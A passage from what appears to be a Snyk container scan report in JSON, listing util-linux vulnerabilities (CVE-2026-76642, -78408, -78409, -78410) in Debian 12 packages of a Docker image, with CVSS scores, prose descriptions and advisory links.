[https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
